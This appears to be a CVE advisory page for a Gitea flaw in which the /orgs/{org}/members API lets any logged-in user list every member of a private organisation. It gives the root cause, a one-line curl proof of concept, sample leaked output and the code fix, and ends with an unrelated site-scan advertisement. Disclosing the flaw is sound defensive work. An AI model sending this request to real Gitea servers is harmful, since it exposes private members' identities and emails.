🛡️ CVE-2026-58427 — gitea.dev
Description
Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145
Summary
PR #38145 fixed ListPublicMembers and IsPublicMember but missed
ListMembers. Any authenticated user can enumerate ALL members
(not just public ones) of a private organization.
Affected Versions
<= v1.26.4 (latest) and main branch
Root Cause
routers/api/v1/org/member.go — ListMembers():
// Missing check:
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}
Proof of Concept
# Setup: privateorg (private), alice = member, bob = outsider
# Bob lists ALL members of private org
curl -s "http://gitea/api/v1/orgs/privateorg/members" \
-H "Authorization: token BOB_TOKEN"
# Result: HTTP 200
[{"login":"alice","email":"[email protected]",...}]
# Expected: HTTP 404
Note
This is an incomplete fix variant of PR #38145.
That PR fixed public_members endpoints only.
ListMembers (/orgs/{org}/members) remains unpatched.
Fix
Add to ListMembers():
if !organization.HasOrgOrUserVisible(ctx,
ctx.Org.Organization.AsUser(), ctx.Doer) {
ctx.APIErrorNotFound()
return
}
Weakness class
CVE-2026-58427 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.
Affected software
CVE-2026-58427 is recorded against 1 package.
- gitea.dev
Timeline and source
Published on 21 July 2026 and last revised on 27 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| gitea.dev | — | — |
References
Similar Threats
- Low CVE-2026-23603
- High CVE-2026-34966
- Unknown CVE-2026-42931
- Unknown CVE-2026-50105
- High CVE-2026-54481
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Free Vulnerability Check
Is your site affected by CVE-2026-58427?
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-58427 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.